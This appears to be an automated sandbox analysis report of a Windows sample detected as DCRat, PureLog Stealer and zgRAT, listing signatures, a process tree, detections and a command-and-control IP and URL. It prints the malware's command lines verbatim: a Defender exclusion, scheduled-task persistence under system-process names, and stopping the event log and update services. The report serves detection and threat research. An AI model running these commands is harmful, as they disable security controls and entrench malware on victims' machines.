Edit tour

Windows Analysis Report
C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Overview

General Information

Sample name:	C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
Analysis ID:	1431496
MD5:	6acbb1fb58dccd74db667187b22de689
SHA1:	cf0df5b247b15157cfce47473d1b063705d10b44
SHA256:	c792057cb761da8872421a6c906c4481b260bdb5d27b86378efdd2af39319687
Tags:	DCRatexe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Sigma detected: Stop EventLog

Snort IDS alert for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates processes via WMI

Found direct / indirect Syscall (likely to bypass EDR)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to detect virtual machines (SLDT)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe (PID: 7464 cmdline: "C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe" MD5: 6ACBB1FB58DCCD74DB667187B22DE689)

GargantuaN.exe (PID: 7508 cmdline: "C:\Users\user\AppData\Local\Temp\GargantuaN.exe" MD5: B3CEE15E9FDDC0E7DC33069319B549D6)

wscript.exe (PID: 7564 cmdline: "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7792 cmdline: C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hyperProviderSavesinto.exe (PID: 7836 cmdline: "C:\PerfDll/hyperProviderSavesinto.exe" MD5: 3997D7D058AF3C1B6C9ABB57F6FA1F2A)

WmiPrvSE.exe (PID: 7888 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7896 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 7 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7936 cmdline: schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7968 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7984 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Recovery\WmiPrvSE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8004 cmdline: schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8032 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8048 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8064 cmdline: schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8080 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8096 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8136 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 8188 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7072 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6692 cmdline: schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3272 cmdline: schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 11 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7476 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7272 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7916 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

GargantuanS.exe (PID: 7524 cmdline: "C:\Users\user\AppData\Local\Temp\GargantuanS.exe" MD5: 7A568EF3F46D369F3D3FFD68FDF68573)

powershell.exe (PID: 7632 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8124 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7260 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 8144 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5640 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1068 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7468 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7768 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7964 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

sc.exe (PID: 7976 cmdline: C:\Windows\system32\sc.exe delete "IFAYFBKT" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8032 cmdline: C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8084 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7676 cmdline: C:\Windows\system32\sc.exe start "IFAYFBKT" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KZcLqgnLvRf.exe (PID: 8116 cmdline: "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe" MD5: 3997D7D058AF3C1B6C9ABB57F6FA1F2A)

KZcLqgnLvRf.exe (PID: 8176 cmdline: "C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe" MD5: 3997D7D058AF3C1B6C9ABB57F6FA1F2A)

nhxnqwkhmssh.exe (PID: 7844 cmdline: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe MD5: 7A568EF3F46D369F3D3FFD68FDF68573)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\PerfDll\hyperProviderSavesinto.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\PerfDll\hyperProviderSavesinto.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\WmiPrvSE.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\WmiPrvSE.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\GargantuaN.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.1698928747.00000000007B2000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000008.00000002.1741648776.0000000012DCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: hyperProviderSavesinto.exe PID: 7836	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: KZcLqgnLvRf.exe PID: 8116	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
1.3.GargantuaN.exe.584d6eb.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.GargantuaN.exe.584d6eb.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.GargantuaN.exe.6dc96eb.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.GargantuaN.exe.6dc96eb.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.3.GargantuaN.exe.6dc96eb.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
1.3.GargantuaN.exe.6dc96eb.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.0.hyperProviderSavesinto.exe.7b0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
8.0.hyperProviderSavesinto.exe.7b0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\PerfDll\hyperProviderSavesinto.exe, ProcessId: 7836, TargetFilename: C:\Recovery\WmiPrvSE.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\GargantuanS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\GargantuanS.exe, ParentProcessId: 7524, ParentProcessName: GargantuanS.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7632, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\GargantuaN.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, ParentProcessId: 7508, ParentProcessName: GargantuaN.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe" , ProcessId: 7564, ProcessName: wscript.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\GargantuanS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\GargantuanS.exe, ParentProcessId: 7524, ParentProcessName: GargantuanS.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto", ProcessId: 8032, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\GargantuanS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\GargantuanS.exe, ParentProcessId: 7524, ParentProcessName: GargantuanS.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7632, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\PerfDll/hyperProviderSavesinto.exe", ParentImage: C:\PerfDll\hyperProviderSavesinto.exe, ParentProcessId: 7836, ParentProcessName: hyperProviderSavesinto.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, ProcessId: 8096, ProcessName: schtasks.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\GargantuanS.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\GargantuanS.exe, ParentProcessId: 7524, ParentProcessName: GargantuanS.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 8084, ProcessName: sc.exe

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 176.123.168.151

Timestamp:	04/25/24-10:32:09.038045
SID:	2048095
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://176.123.168.151	Avira URL Cloud: Label: malware
Source: http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows	Avira URL Cloud: Label: malware
Source: http://176.123.168.151	Avira URL Cloud: Label: malware
Source: https://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Window	Avira URL Cloud: Label: malware
Source: http://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	Avira: detection malicious, Label: TR/Kryptik.gqhhv
Source: C:\Users\user\Desktop\zQhPhksn.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Recovery\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\PerfDll\hyperProviderSavesinto.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\WiKMUFpI.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Avira: detection malicious, Label: TR/Kryptik.gqhhv
Source: C:\Users\user\Desktop\LugVktua.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\KEMGRwnV.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt

Multi AV Scanner detection for domain / URL

Source: https://176.123.168.151	Virustotal: Detection: 5%			Perma Link
Source: http://176.123.168.151	Virustotal: Detection: 8%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\PerfDll\hyperProviderSavesinto.exe	ReversingLabs: Detection: 87%
Source: C:\PerfDll\hyperProviderSavesinto.exe	Virustotal: Detection: 73%	Perma Link
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Virustotal: Detection: 73%	Perma Link
Source: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	ReversingLabs: Detection: 81%
Source: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	Virustotal: Detection: 61%	Perma Link
Source: C:\Recovery\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\RuntimeBroker.exe	Virustotal: Detection: 73%	Perma Link
Source: C:\Recovery\WmiPrvSE.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\WmiPrvSE.exe	Virustotal: Detection: 73%	Perma Link
